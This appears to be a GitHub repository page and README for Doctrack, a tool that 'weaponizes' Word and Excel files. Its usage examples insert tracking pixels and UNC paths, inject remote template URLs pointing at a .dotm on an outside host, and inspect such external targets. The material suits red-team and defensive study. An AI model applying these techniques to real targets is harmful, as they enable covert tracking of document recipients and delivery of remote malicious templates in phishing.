Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

13 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Doctrack

Tool to manipulate and weaponize Office Open XML documents.

Features

  • Create Office Open XML documents (Word, Excel)
  • Insert tracking pixels and UNC paths
  • Remote Template injection
  • Insert CustomXML parts
  • Inspect external target URLs, metadata and Custom XML parts

Installation

You will need to download .Net 6.0. Then, to build a single binary on Windows:

$ git clone https://github.com/wavvs/doctrack.git
$ cd doctrack/
$ dotnet publish -r win-x64 -c Release /p:PublishSingleFile=true

On Linux:

$ dotnet publish -r linux-x64 -c Release /p:PublishSingleFile=true

Usage

$ doctrack --help
Tool to manipulate and weaponize Office Open XML documents.

  -i, --input          Input filename. If doesn't exist, new file is created.
  -o, --output         Output filename. If not set, document is saved as --input
                       file.
  -m, --metadata       Metadata to supply (JSON file).
  -u, --url            URL to insert.
  -e, --template       (Default: false) If set, enables template URL injection.
  -s, --inspect        (Default: false) Inspect document.
  -c, --custom-part    Insert a Custom XML part (XML file)
  --help               Display this help screen.

Create a Word document and change document metadata:

$ doctrack -i test.docx -m metadata.json

Insert a tracking pixel and change document metadata:

$ doctrack -i test.docx -o test.docx --metadata metadata.json --url http://test.url/image.png

Insert a remote template URL (aka Remote Template Injection):

$ doctrack -i test.docx -o test.docx --url http://test.url/template.dotm --template

Insert a Custom XML part:

$ doctrack -i test.docx -o test.docx -c part.xml

Inspect external target URLs, metadata and Custom XML parts:

$ doctrack -i test.docx --inspect
[External targets]
Part: /word/document.xml, ID: R8783bc77406d476d, URI: http://test.url/image.png
Part: /word/settings.xml, ID: R33c36bdf400b44f6, URI: http://test.url/template.dotm

[Metadata]
Creator: wavvs
Title: doctrack
Subject:
Category:
Keywords:
Description:
ContentType:
ContentStatus:
Version:
Revision:
Created: 13.10.2020 23:20:39
Modified: 13.10.2020 23:20:39
LastModifiedBy:
LastPrinted: 13.10.2020 23:20:39
Language:
Identifier:

[CustomXML Parts]
Part: /customXML/item.xml (25 bytes)

About

Tool to manipulate and weaponize Office Open XML documents.

Topics

Resources

Stars

72 stars

Watchers

3 watching

Forks

Contributors

Languages